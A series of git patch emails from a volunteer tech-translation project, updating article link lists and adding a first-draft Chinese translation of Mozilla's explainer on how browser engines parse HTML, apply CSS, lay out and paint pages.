From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:38:02 +0800
Subject: [PATCH 445/638] Update backend.md

---
 backend.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/backend.md b/backend.md
index 85c38d471e7..cf8c3691c67 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)
 * [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)翻译)

From 782ac98509a1cad6fc06a0bacd23936fa09dd7c6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:43:32 +0800
Subject: [PATCH 446/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index edebf82d83c..77ca8c2eaee 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [490](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [491](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [JavaScript 中的 CSS：基于组件的样式的未来](https://juejin.im/post/590822768d6d810058e4d24d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 74e525d62debf2aee53d50c688e544ada3d740b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:43:59 +0800
Subject: [PATCH 447/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 418d8af97c3..8a8f2d0db63 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)

From a6f9b7f02dc262c93ad99dbae702ed9af4c75aa2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:49:00 +0800
Subject: [PATCH 448/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 77ca8c2eaee..cb7177146cf 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [491](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [492](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -20,10 +20,10 @@
 
 ## Android
 
+* [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
-* [RxJava 中的多线程](https://juejin.im/post/58ff6259da2f60005dd81459/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([phxnirvana](https://github.com/phxnirvana) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 

From af9b092ed755706866b4cd5b4e8d9b1ff2632f75 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:49:58 +0800
Subject: [PATCH 449/638] Update android.md

---
 android.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/android.md b/android.md
index 31bb223e525..bdf906053a1 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
 * [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)

From 6621b30f38e0f77e5c20c97992c02a5a31d0b0e6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 22:01:20 +0800
Subject: [PATCH 450/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 8a8f2d0db63..1c6cfe7e5b1 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)

From 866aab07495dfc958a14276e30262b69d8a48db4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 22:01:55 +0800
Subject: [PATCH 451/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index cb7177146cf..7f71c037212 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [492](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [493](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [哪些项目需要 React？都需要！](https://juejin.im/post/5910050661ff4b0062553421?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
-* [ES6 模块原生支持在浏览器中落地，是时候该重新考虑打包了吗？](https://juejin.im/post/590a990a5c497d005852cf61?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 3aacbd310b2d5116101baa19bc3bad2f89b16004 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 22:08:06 +0800
Subject: [PATCH 452/638] Update backend.md

---
 backend.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/backend.md b/backend.md
index cf8c3691c67..1aad1b13333 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)[loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn)翻译)

From e15435d603fb2dc356626ccffbdcfc24c848ba87 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 22:09:08 +0800
Subject: [PATCH 453/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 7f71c037212..b92d51fb8f5 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [493](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [495](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [真相就在代码中](https://juejin.im/post/59152d17da2f60005dd0ae77?utm_source=gold-miner&utm_medium=readme&utm_campaign=github)[loveky](https://github.com/loveky) 翻译)
 * [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
-* [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程

From 1e14dea9c188d76a361ee6b19bdcf3d7b0964c92 Mon Sep 17 00:00:00 2001
From: Dalston Xu <xxdalston@gmail.com>
Date: Mon, 15 May 2017 00:30:34 +0800
Subject: [PATCH 454/638] first translation edition for #1651

first translation edition for #1651 quantum-up-close-what-is-a-browser-engine.md
---
 ...antum-up-close-what-is-a-browser-engine.md | 90 +++++++++----------
 1 file changed, 45 insertions(+), 45 deletions(-)

diff --git a/TODO/quantum-up-close-what-is-a-browser-engine.md b/TODO/quantum-up-close-what-is-a-browser-engine.md
index 501d47a4312..ce36f59079d 100644
--- a/TODO/quantum-up-close-what-is-a-browser-engine.md
+++ b/TODO/quantum-up-close-what-is-a-browser-engine.md
@@ -1,42 +1,42 @@
 > * 原文地址：[Quantum Up Close: What is a browser engine?](https://hacks.mozilla.org/2017/05/quantum-up-close-what-is-a-browser-engine/)
 > * 原文作者：[Potch](http://potch.me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[吃土小2叉](https://github.com/xunge0613)
 > * 校对者：
 
-# Quantum Up Close: What is a browser engine? #
+# 走近 Quantum：浏览器引擎解密 #
 
-In October of last year [Mozilla announced Project Quantum](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12)  – our initiative to create a next-generation browser engine. We’re well underway on the project now. We actually [shipped our first significant piece of Quantum](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/)  just last month with Firefox 53.
+2016 年 11 月，[Mozilla 公布了 Quantum 计划](https://medium.com/mozilla-tech/a-quantum-leap-for-the-web-a3b7174b3c12) —— 倡议开创下一代浏览器引擎。现在这一计划已然步入正轨。实际上，我们在上个月刚更新的 Firefox 53 中[首次引入了 Quantum 计划的部分核心内容](https://hacks.mozilla.org/2017/04/firefox-53-quantum-compositor-compact-themes-css-masks-and-more/) 。
 
-But, we realize that for people who don’t build web browsers (and that’s most people!), it can be hard to see just why some of the changes we’re making to Firefox are so significant. After all, many of the changes that we’re making will be invisible to users.
+但是，我们意识到对于那些不从事开发浏览器的人来说（大多数人！），实际上很难察觉到这些改动对于 Firefox 有着重大意义。毕竟，许多改动对于用户来说是不可见的。
 
-With this in mind, we’re kicking off a series of blog posts to provide a deeper look at just what it is we’re doing with Project Quantum. We hope that this series of posts will give you a better understanding of how Firefox works, and the ways in which Firefox is building a next-generation browser engine made to take better advantage of modern computer hardware.
+意识到这点后，我们开始撰写一系列博客文章来深度解读 Quantum 计划正在做什么。我们希望通过这一系列的文章，能够帮助大家理解 Firefox 的工作原理，以及 Firefox 是如何打造一款下一代浏览器引擎，从而更好地利用现代计算机的硬件性能。
 
-To begin this series of posts, we think it’s best to start by explaining the fundamental thing Quantum is changing.
+作为这系列文章的第一篇，最好还是先说明一下 Quantum 正在改变哪些核心内容。
 
-What *is* a browser engine, and how does one work?
+浏览器引擎**是**什么？它的工作原理又是什么？
 
-If we’re going to start from somewhere, we should start from the beginning.
+那么，就从头开始说起吧。
 
-A web browser is a piece of software that loads files (usually from a remote server) and displays them locally, allowing for user interaction.
+Web 浏览器是一种软件，它首先加载文件（通常这些文件来自于远程服务器），然后在本地显示这些文件，同时用户可以与之互动。
 
-Quantum is the code name for a project we’ve undertaken at Mozilla to massively upgrade the part of Firefox that figures what to display to users based on those remote files. The industry term for that part is “browser engine”, and without one, you would just be reading code instead of actually seeing a website. Firefox’s browser engine is called Gecko.
+Quantum 是项目里的代码名，这个项目是 Mozilla 为了大幅度升级 Firefox 浏览器的一个模块，它决定了浏览器如何根据那些远程文件将网页显示给用户。这一模块的行业术语叫“浏览器引擎”。Firefox 的浏览器引擎叫 Gecko。
 
-It’s pretty easy to see the browser engine as a single black box, sort of like a TV- data goes in, and the black box figures out what to display on the screen to represent that data. The question today is: How? What are the steps that turn data into the web pages we see?
+可以简单地把浏览器引擎看作一个黑盒，（有点类似于电视机机顶盒），这个黑盒处理网页数据然后将页面呈现在屏幕上。现在的问题是：浏览器引擎是如何呈现页面的？它是通过哪些步骤将数据转化为我们所看见的网页？
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/black-box.png) 
 
-The data that makes up a web page is lots of things, but it’s mostly broken down into 3 parts:
+网页数据通常有许多类型，但总的来说可以划分为三大类：
 
-- code that represents the *structure* of a web page
-- code that provides *style*: the visual appearance of the structure
-- code that acts as a *script* of actions for the browser to take: computing, reacting to user actions, and modifying the structure and style beyond what was loaded initially
+- 用于描述网页**结构**的代码
+- 用于提供**样式**的代码，描述了网页结构的视觉外观
+- 用于控制浏览器行为的**脚本**代码，包括：计算、人机互动以及修改已初始化的网页结构和样式。
 
-The browser engine combines structure and style together to draw the web page on your screen, and figure out which bits of it are interactive.
+浏览器引擎结合了页面结构和样式从而在屏幕上渲染出网页，同时确定可以互动的内容。
 
-It all starts with structure. When a browser is asked to load a website, it’s given an address. At this address is another computer which, when contacted, will send data back to the browser. The particulars of how that happens are [a whole separate article](https://developer.mozilla.org/en-US/docs/Web/HTTP) in themselves, but at the end the browser has the data. This data is sent back in a format called HTML, and it describes the structure of the web page. How does a browser understand HTML?
+这一切要从网页结构说起。浏览器会根据给定的地址去加载一个网站。这个地址指向的是另一台电脑，当它收到访问请求时，会返回网页数据给浏览器。至于这个过程的具体实现可以查阅[这篇文章](https://developer.mozilla.org/en-US/docs/Web/HTTP)，反正最后浏览器拿到网页数据了。这个数据被称为 HTML，它描述了网页的结构。那么浏览器又是如何读懂 HTML 的呢？
 
-Browser engines contain special pieces of code called *parsers* that convert data from one format into another that the browser holds in its memory. The HTML parser takes the HTML, something like:
+浏览器引擎包含一类称为**解析器**的特殊模块，它将数据从一种格式转换为另一种可以存储在浏览器内存中的格式。举个例子，HTML 解析器拿到了以下 HTML 内容：
 
 ```
 <section>
@@ -45,19 +45,20 @@ Browser engines contain special pieces of code called *parsers* that convert dat
 </section>
 ```
 
-And parses it, understanding:
+于是，解析器开始解析、理解 HTML，下面是解析器的独白：
 
->   Okay, there’s a section. Inside the section is a heading of level 1, which itself contains the text: “Hello!” Also inside the section is an image. I can find the image data at the location: *http://example.com/image.png*
 
-The in-memory structure of the web page is called the [Document Object Model](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction), or DOM. As opposed to a long piece of text, the DOM represents a tree of elements of the final web page: the properties of the individual elements, and which elements are inside other elements.
+> 嗯，这里有个章节。在这个章节里有个一级标题，这个标题包含的文本内容是 “Hello!”。另外在这个章节中，还有一张图片。这个图片的数据从这里获取：http://example.com/image.png
+
+网页在浏览器内存中的结构被称为[文档对象模型](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction)，简称 DOM。DOM 以元素树的形式来表示页面结构，（而非长文本形式），包括：每个元素各自的属性以及元素间的嵌套关系。
 
 [![A diagram showing the nesting of HTML elements](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/html-diagra.png)
 
-In addition to describing the structure of the page, the HTML also includes addresses where styles and scripts can be found. When the browser finds these, it contacts those addresses and loads their data. That data is then fed to other parsers that specialize in those data formats. If scripts are found, they can modify the page structure and style before the file is finished being parsed. The style format, CSS, plays the next role in our browser engine.
+除了用于描述页面结构，HTML 同样包含指向样式文件和脚本文件的地址。浏览器发现这些后，就开始请求并加载数据。然后浏览器会根据数据的类型，指定相应的解析器来处理。脚本文件可以在 HTML 文件解析的同时，改变页面的结构和样式。而样式规则，CSS， 在浏览器引擎中发挥以下作用。
 
-## With Style ##
+## 关于样式 ##
 
-CSS is a programming language that lets developers describe the appearance of particular elements on a page. CSS stands for “Cascading Style Sheets”, so named because it allows for multiple sets of style instructions, where instructions can override earlier or more general instructions (called the cascade). A bit of CSS could look like the following:
+CSS 是一门编程语言，开发者可以借助 CSS 描述页面元素的外观。CSS 全称 Cascading Style Sheets （译注：层叠样式表），之所以这样命名是因为多个 CSS 指令可以作用在同一个元素上，后定义的指令可以覆盖之前定义的指令，特殊性高的指令可以覆盖特殊性低的指令（这就是层叠的概念）。下面是一些 CSS 代码。
 
 ```
 section {
@@ -77,52 +78,51 @@ img {
 
 ```
 
-CSS is largely broken up into groupings called rules, which themselves consist of two parts. The first part is selectors. Selectors describe the elements of the DOM (remember those from above?) being styled, and a list of declarations that specify the styles to be applied to elements that match the selector. The browser engine contains a subsystem called a style engine whose job it is to take the CSS code and apply it to the DOM that was created by the HTML parser.
+大部分 CSS 代码被分割在称为规则的一个个分组中，每条规则包含两个部分。其中一个部分是选择器，选择器描述了 DOM 中需要应用样式的元素（上文说过，还记得吗？）。另一部分则是一系列样式声明，应用于与选择器匹配的元素。浏览器引擎中包含一个名为样式引擎的子系统，用于接收 CSS 代码，并将 CSS 规则应用到由 HTML 解析器生成的 DOM 中。
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/style-engine-1.png)
 
-For example, in the above CSS, we have a rule that targets the selector “section”, which will match any element in the DOM with that name. Style annotations are then made for each element in the DOM. Eventually each element in the DOM is finished being styled, and we call this state the computed style for that element. When multiple competing styles are applied to the same element, those which come later or are more specific wins. Think of stylesheets as layers of thin tracing paper- each layer can cover the previous layers, but also let them show through.
+举个例子，在上述 CSS 中，我们有一条规则指定了选择器 “section”，这会匹配到 DOM 中所有 section 元素。接着，浏览器引擎会为 DOM 中的每一个元素附上样式注解。直到最后每个 DOM 元素都应用了样式，我们将该状态称为元素样式计算完毕。而当多个选择器作用在一个元素上时，源代码次序靠后的或者更特殊的 CSS 规则最终会应用到元素上。想象一下，样式表好比一层层薄薄的透写纸，一层盖一层，不同之处在于，样式表允许那些比较特殊的透写纸的内容一直展示在最上层。（译注：此处译文追加较多……欢迎探讨……TBD）
 
-Once the browser engine has computed styles, it’s time to put it to use! The DOM and the computed styles are fed into a layout engine that takes into account the size of the window being drawn into. The layout engine uses various algorithms to take each element and draw a box that will hold its content and take into account all the styles applied to it.
+一旦浏览器引擎计算好了样式，接下来就要派上用场了！布局引擎接下来会接手 DOM 和已计算的样式，并且会考虑待绘制布局所在的窗口大小。然后布局引擎会分析该元素应用的所有样式，并通过各种算法将每个元素绘制在一个个内容盒子中。
 
 [![](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/05/layout-time.png)
 
-When layout is complete, it’s time to turn the blueprint of the page into the part you see. This process is known as painting, and it is the final combination of all the previous steps. Every box that was defined by layout gets drawn, full of the content from the DOM and with styles from the CSS. The user now sees the page, reconstituted from the code that defines it.
+页面布局绘制完毕后，是时候将页面蓝图转化成你所看见的实际页面了。这一步骤称为 painting（绘制），这也是先前所有步骤的最终整合。每个由布局定义的内容盒子都将被绘制，其内容来自 DOM，其样式源自 CSS。最终，从代码一步步重组而成的页面，展现在用户眼中。
 
-That used to be all that happened!
+以上就是以前的浏览器引擎所做的事情。
 
-When the user scrolled the page, we would re-paint, to show the new parts of the page that were previously outside the window. It turns out, however, that users love to scroll! The browser engine can be fairly certain it will be asked to show content outside of the initial window it draws (called the viewport). More modern browsers take advantage of this fact and paint more of the web page than is visible initially. When the user scrolls, the parts of the page they want to see are already drawn and ready. As a result, scrolling can be faster and smoother. This technique is the basis of compositing, which is a term for techniques to reduce the amount of painting required.
+当用户滚动页面的时候，浏览器会进行重绘来显示原先在可见窗口外的页面内容。然而，显然用户都喜欢滚动页面！浏览器引擎清楚地意识到自己肯定会被要求展示初始窗口以外的内容（也称视口）。现代浏览器根据这个事实在页面初始化的时候绘制了比视口更多的页面内容。当用户滚动页面的时候，这部分用户想要看的内容早就已经绘制完毕了。这样的好处就是页面滚动变得更快更流畅。这种技术是网页合成的基础，合成是一种减少所需绘制量的技术术语。
 
-Additionally, sometimes we need to redraw parts of the screen. Maybe the user is watching a video that plays at 60 frames per second. Or maybe there’s a slideshow or animated list on the page. Browsers can detect that parts of the page will move or update, and instead of re-painting the whole page, they create a layer to hold that content. A page can be made of many layers that overlap one another. A layer can change position, scroll, transparency, or move behind or in front of other layers without having to re-paint anything! Pretty convenient.
